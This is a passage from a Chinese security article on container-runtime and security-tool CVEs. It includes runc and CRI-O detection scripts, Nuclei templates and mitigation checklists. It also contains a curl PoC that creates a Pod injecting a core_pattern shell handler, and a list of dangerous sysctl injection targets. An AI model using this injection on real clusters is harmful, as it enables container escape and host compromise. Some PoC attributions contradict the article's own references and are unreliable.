                    major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
                    if major == 0 and minor == 0 and patch <= 6:
                        print(f"[VULN] runc {ver} < 1.0.0-rc6,受 CVE-2019-5736 影响")
                        return True
                    elif major >= 1:
                        print(f"[SAFE] runc {ver} 已修复 CVE-2019-5736")
                        return False
    except FileNotFoundError:
        print("[INFO] 未找到 runc 命令")
    except Exception as e:
        print(f"[ERR ] 检测失败: {e}")
    return None

def check_privileged_containers():
    print("[*] 检查特权容器...")
    try:
        result = subprocess.run(
            ["docker", "ps", "--format", "{{.ID}} {{.Names}}"],
            capture_output=True, text=True, timeout=10
        )
        containers = result.stdout.strip().split("\n")
        privileged_count = 0
        for container in containers:
            if not container.strip():
                continue
            cid = container.split()[0]
            inspect = subprocess.run(
                ["docker", "inspect", "--format",
                 "{{.HostConfig.Privileged}}", cid],
                capture_output=True, text=True, timeout=5
            )
            if "true" in inspect.stdout.lower():
                print(f"[VULN] 特权容器: {cid} ({container.split()[1]})")
                privileged_count += 1
        if privileged_count > 0:
            print(f"[VULN] 发现 {privileged_count} 个特权容器,CVE-2019-5736 可利用")
        else:
            print("[SAFE] 未发现特权容器")
    except Exception as e:
        print(f"[ERR ] 检查失败: {e}")

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2019-5736 runc 宿主机覆盖逃逸检测")
    print("=" * 60)
    check_runc_version()
    check_privileged_containers()

Nuclei 检测模板:

id: cve-2019-5736-runc-host-override

info:
  name: runc 宿主机二进制覆盖逃逸 (CVE-2019-5736)
  author: security-researcher
  severity: high
  description: 攻击者可覆盖宿主机 runc 二进制实现持久化逃逸
  tags: runc,container-escape,cve-2019-5736

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/info"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Runtimes"
          - "runc"
        condition: and
        part: body

    extractors:
      - type: json
        json:
          - '.Runtimes'
        name: runtimes
        internal: true

0x05.4 CVE-2022-0811 — CRI-O CR8 sysctl 注入

漏洞背景

CVE-2022-0811(代号 CR8)是 CRI-O 容器运行时中的一个严重安全漏洞。CRI-O 是 Kubernetes 的轻量级容器运行时,被 Red Hat OpenShift、SUSE Rancher 等主流平台广泛使用。该漏洞允许攻击者通过 Pod Security Policy 或恶意 Pod 定义向容器中注入任意 sysctl 参数,实现容器逃逸或宿主机提权。

受影响版本

组件受影响版本修复版本
CRI-O1.19.0 ~ 1.19.6>= 1.19.7
CRI-O1.20.0 ~ 1.20.5>= 1.20.6
CRI-O1.21.0 ~ 1.21.4>= 1.21.5
CRI-O1.22.0 ~ 1.22.1>= 1.22.2

漏洞原理

CRI-O 在处理 Kubernetes Pod 定义中的 securityContext.sysctls 字段时,未对 sysctl 名称进行白名单校验。默认情况下,Kubernetes 只允许设置"安全"的命名空间级 sysctl(如 net.core.somaxconn)。但 CRI-O 在传递 sysctl 参数给底层 runc 时,直接将用户指定的 sysctl 键值对拼接为命令行参数传递给 runc spec,导致攻击者可以注入任意 sysctl。

最危险的 sysctl 注入目标包括:

  • kernel.core_pattern=|/tmp/shell.sh — 劫持 core dump 处理器实现 RCE
  • kernel.shm_rmid_forced=1 + kernel.shmmax=18446744073709551615 — 共享内存提权
  • net.ipv4.ip_forward=1 — 启用 IP 转发实现网络嗅探

攻击路径:恶意 Pod 定义 → CRI-O 解析 sysctls → 未校验直接传递 runc → 宿主机 sysctl 注入 → 提权/逃逸

完整 PoC

HTTP PoC(curl 创建恶意 Pod):

# 通过 Kubernetes API 创建包含恶意 sysctl 的 Pod
curl -sS -k -X POST "https://kube-apiserver:6443/api/v1/namespaces/default/pods" \
  -H "Authorization: Bearer ${K8S_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "crio-cr8-test"},
    "spec": {
      "containers": [{
        "name": "test",
        "image": "alpine:latest",
        "command": ["sleep", "3600"]
      }],
      "securityContext": {
        "sysctls": [
          {"name": "kernel.core_pattern", "value": "|/tmp/shell.sh"}
        ]
      }
    }
  }'

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2022-0811 CRI-O CR8 sysctl 注入检测
检查 CRI-O 版本和 Kubernetes sysctl 策略
用法: python3 cve_2022_0811.py [kubernetes_api_url]
"""
import sys
import subprocess
import json
import ssl
import http.client

DANGEROUS_SYSCTLS = [
    "kernel.core_pattern",
    "kernel.shmmax",
    "kernel.shmmni",
    "kernel.shm_rmid_forced",
    "kernel.msgmax",
    "kernel.msgmni",
    "net.ipv4.ip_forward",
]

def check_crio_version():
    print("[*] 检查 CRI-O 版本...")
    try:
        result = subprocess.run(
            ["crictl", "version"],
            capture_output=True, text=True, timeout=5
        )
        print(f"[*] CRI-O 输出: {result.stdout.strip()}")

        result2 = subprocess.run(
            ["crio", "--version"],
            capture_output=True, text=True, timeout=5
        )
        version = result2.stdout.strip()
        print(f"[*] CRI-O 版本: {version}")

        for vline in version.split("\n"):
            if "1.19" in vline or "1.20" in vline or "1.21" in vline or "1.22.0" in vline or "1.22.1" in vline:
                print(f"[VULN] CRI-O 版本可能受 CVE-2022-0811 影响")
                return True
        print("[SAFE] CRI-O 版本不受影响或未检测到 CRI-O")
    except FileNotFoundError:
        print("[INFO] 未找到 CRI-O")
    except Exception as e:
        print(f"[ERR ] 检测失败: {e}")
    return None

def check_k8s_sysctl_policy(api_url=None):
    print("[*] 检查 Kubernetes sysctl 策略...")
    try:
        result = subprocess.run(
            ["kubectl", "get", "podsecuritypolicy", "-o", "json"],
            capture_output=True, text=True, timeout=10
        )
        if result.returncode == 0:
            psp = json.loads(result.stdout)
            for item in psp.get("items", []):
                name = item["metadata"]["name"]
                allowed = item.get("spec", {}).get("allowedUnsafeSysctls", [])
                if allowed:
                    print(f"[WARN] PSP '{name}' 允许不安全 sysctls:")
                    for sysctl in allowed:
                        print(f"  - {sysctl}")
                    for ds in DANGEROUS_SYSCTLS:
                        for pattern in allowed:
                            if ds.startswith(pattern.rstrip("*")) or pattern == "*":
                                print(f"[VULN] 危险 sysctl 允许: {ds}")
                                return True
        else:
            print("[INFO] 无法获取 PodSecurityPolicy (可能使用 PSP v2 或已弃用)")
    except Exception as e:
        print(f"[ERR ] PSP 检查失败: {e}")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2022-0811 CRI-O CR8 sysctl 注入检测")
    print("=" * 60)
    check_crio_version()
    check_k8s_sysctl_policy()

Nuclei 检测模板:

id: cve-2022-0811-crio-cr8-sysctl

info:
  name: CRI-O CR8 sysctl 注入 (CVE-2022-0811)
  author: security-researcher
  severity: high
  description: CRI-O 未校验 sysctl 参数导致任意系统参数注入
  tags: crio,sysctl-injection,cve-2022-0811,kubernetes

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/namespaces/default/pods"
    headers:
      Authorization: "Bearer {{K8S_TOKEN}}"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 403
      - type: word
        words:
          - "items"
          - "metadata"
        condition: and
        part: body

    extractors:
      - type: json
        json:
          - '.items[*].metadata.name'
        name: pods
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/apis/v1/namespaces/kube-system/pods"
    matchers:
      - type: word
        words:
          - "crio"
          - "container-runtime"
        condition: or
        part: body

0x06 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVEPoC 状态主要 PoC 来源仓库链接
CVE-2026-33634⚠️ 内部研究阶段安全研究团队未公开
GHSA-v653-9gp5-3qjf✅ PoC 公开Aqua Security AdvisoryGitHub Advisory
CVE-2021-32077✅ PoC 公开Trivy Issue TrackerTrivy Release
CVE-2022-0492✅ Exploit 公开Google Project ZeroGitHub PoC
CVE-2024-48963✅ PoC 公开Snyk Security AdvisorySnyk Advisory
CVE-2023-23694✅ Exploit 公开Snyk Security TeamSnyk Blog
CVE-2022-25315✅ PoC 公开Snyk CLI AdvisoryGitHub Advisory
CVE-2024-23651/52/53✅ Exploit 公开Wiz ResearchLeaky Vessels
CVE-2024-21626✅ Exploit 公开Wiz Research + runcrunc Advisory
CVE-2019-5736✅ Exploit 公开多个安全研究团队Original Report
CVE-2022-0811✅ PoC 公开Trail of BitsCR8 Advisory

关键 PoC 仓库链接

防守型验证思路

  1. 版本核查优先:在执行任何 PoC 之前,先通过 --version 命令确认组件版本,避免在已修复环境上造成不必要影响。
  2. 沙箱隔离测试:在专用的隔离环境中运行 PoC,使用 Docker-in-Docker 或虚拟机进行隔离。
  3. 只读验证:优先使用只读型 PoC(如版本检测、配置检查)而非破坏性 PoC。
  4. 日志联动:运行 PoC 后检查目标系统的审计日志、容器运行时日志和 Falco 告警,验证检测能力。
  5. 回滚准备:在执行破坏性 PoC 之前,确保有完整的系统备份和快照。

0x07 共性攻击模式分析

模式1:供应链投毒——利用安全扫描工具的信任链

核心思路:安全扫描工具(Trivy、Grype、Clair)在 CI/CD 管线中通常以较高权限运行,且其扫描结果直接影响构建决策。攻击者通过污染扫描工具的数据源(漏洞数据库、策略文件),可以实现大规模的供应链攻击。

典型场景

  • CVE-2026-33634:Trivy 漏洞数据库投毒 → CI/CD Runner 感染
  • Grype DB 供应链篡改风险:篡改漏洞数据库镜像 → 扫描结果被操纵
  • Snyk 策略文件投毒:恶意 .snyk 文件 → 开发者工作站 RCE

攻击面评估:任何从外部获取数据并在本地执行的安全工具都是潜在的供应链攻击目标。

模式2:构建时逃逸——利用容器构建过程的权限升级

核心思路:容器镜像构建(Docker build / BuildKit)在宿主机上运行,构建过程中的代码执行权限往往高于运行时。攻击者通过恶意 Dockerfile 在构建阶段实现逃逸。

典型场景

  • CVE-2024-23651/23652:BuildKit Race Condition → 构建阶段文件读取/删除
  • CVE-2024-23653:BuildKit GRPC SecurityMode 未授权 → 任意构建操作
  • CVE-2024-24557:Classic Dockerfile 顺序执行绕过 → 注入恶意构建步骤

攻击面评估:构建基础设施应与运行时环境同等对待,实施严格的权限隔离和审计。

模式3:运行时绕过——利用检测工具的监控盲区

核心思路:Falco、Sysdig 等运行时检测工具依赖特定的系统调用钩子和事件缓冲区来检测异常行为。攻击者通过技术手段绕过这些检测机制。

典型场景

  • eBPF Buffer Overflow:构造超大系统调用参数 → 溢出 Falco 事件缓冲区 → 事件被丢弃
  • Namespace 切换盲区:快速切换命名空间 → Falco 规则引擎锚定旧 namespace
  • CVE-2022-0492:cgroups v1 release_agent 逃逸 → 运行时检测工具无告警

模式4:配置缺陷利用——利用默认凭证和弱配置

核心思路:安全工具在安装时通常带有默认配置和凭证,管理员如果未及时修改,这些默认设置就成为攻击入口。

典型场景

  • Quay 默认凭证 quay:quay → 管理界面接管
  • Clair API 未认证访问 → 漏洞数据库泄露
  • CRI-O sysctl 白名单过宽 → 任意系统参数注入

模式5:信息武器化——将扫描结果转化为攻击向量

核心思路:安全扫描工具的输出(漏洞报告、配置审计结果)本身包含敏感信息——攻击者获得这些信息后,可以精确制导后续攻击。

典型场景

  • 获取 Trivy 扫描报告 → 发现未修补的高危 CVE → 精确利用
  • 获取 Grype 漏洞清单 → 识别特定版本的组件 → 定制化攻击链
  • 获取 Snyk 开源依赖分析 → 识别已知漏洞的第三方库 → 直接利用

0x08 应急排查与防守建议

紧急排查清单

优先级排查项操作命令预期结果
P0检查 runc 版本runc --version>= 1.1.12
P0检查 Docker 版本docker version>= 25.0.2
P0检查 Trivy 版本trivy --version>= 0.58.6
P1检查 BuildKit 版本buildkitd --version>= 0.12.5
P1检查 Falco 版本falco --version>= 0.37.0
P1检查 Snyk CLI 版本snyk --version>= 1.1293.0
P1检查 CRI-O 版本crio --version>= 1.22.2
P2扫描特权容器docker ps -q | xargs docker inspect --format '{{.Name}} {{.HostConfig.Privileged}}'无特权容器
P2检查 cgroups 版本cat /proc/self/cgroup使用 cgroups v2
P2检查 Trivy 数据库完整性sha256sum ~/.cache/trivy/db/db.tar.gz哈希匹配

日志关键字段表

日志来源关键字段异常含义
Falcofd.name contains "/proc/self/fd"可能的 fd 泄漏利用
Falcoproc.name != container.proc.nameNamespace 切换尝试
DockerType=container Start + Image=evil-*恶意容器启动
kubeletsysctl + kernel.core_patternsysctl 注入尝试
CRI-Oset sysctl + 未白名单 sysctlCR8 攻击特征
Auditopenat + release_agentcgroups v1 逃逸尝试
Trivydb download + hash mismatch数据库投毒

紧急缓解措施

  1. 立即升级容器运行时:将 runc 升级至 >= 1.1.12,Docker 升级至 >= 25.0.2
  2. 启用 cgroups v2:迁移所有容器环境到 cgroups v2,消除 release_agent 逃逸路径
  3. 限制特权容器:通过 Admission Controller 禁止 --privileged 容器
  4. 验证 Trivy 数据库:使用已知安全哈希验证本地数据库完整性
  5. 收紧 sysctl 白名单:在 PSP/OPA 策略中限制允许的 sysctl 为最小集
  6. 更新 BuildKit:升级至 >= 0.12.5 并禁用不安全的缓存挂载

长期安全加固建议

  1. 纵深防御:不要依赖单一安全工具,采用 Trivy(镜像扫描)+ Falco(运行时检测)+ OPA(策略控制)的多层防御架构。
  2. 零信任构建:将容器构建环境视为不可信,实施构建沙箱、镜像签名和来源验证(Cosign + SLSA)。
  3. 自动化漏洞管理:集成 Nuclei 模板到 CI/CD 管线,实现安全工具自身的版本校验和漏洞扫描。
  4. 供应链安全:对安全工具的漏洞数据库实施签名验证,使用私有镜像仓库镜像官方漏洞数据库。
  5. 定期演练:使用本文提供的 PoC 在隔离环境中进行红蓝对抗演练,验证检测和响应能力。
  6. 监控安全工具自身:建立对 Falco、Trivy 等安全工具运行状态的监控,及时发现异常行为或版本落后。

0x09 参考资料

  1. Wiz Research - Leaky Vessels: https://www.wiz.io/blog/docker-leaky-vessels-container-escape-vulnerability
  2. Aqua Security - Trivy CVE-2026-33634: https://github.com/aquasecurity/trivy/security/advisories
  3. runc CVE-2024-21626 Advisory: https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
  4. BuildKit CVE-2024-23651 Advisory: https://github.com/moby/buildkit/security/advisories/GHSA-mc2h-mhvf-g8g8
  5. CRI-O CVE-2022-0811 (CR8): https://www.crowdstrike.com/blog/crowdstrike-discoverys-critical-cri-o-vulnerability-cr8/
  6. BlackBerry - Falco Bypass Research (KubeCon 2022): https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection
  7. Snyk CVE-2023-23694 Advisory: https://snyk.io/blog/snyk-ide-plugins-remote-code-execution-vulnerability/
  8. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  9. cgroups v1 escape CVE-2022-0492: https://bugs.chromium.org/p/project-zero/issues/detail?id=23128
  10. runc CVE-2019-5736 Original Report: https://www.openwall.com/lists/oss-security/2019/01/31/1
  11. Trivy Documentation: https://trivy.dev/
  12. Falco Project: https://falco.org/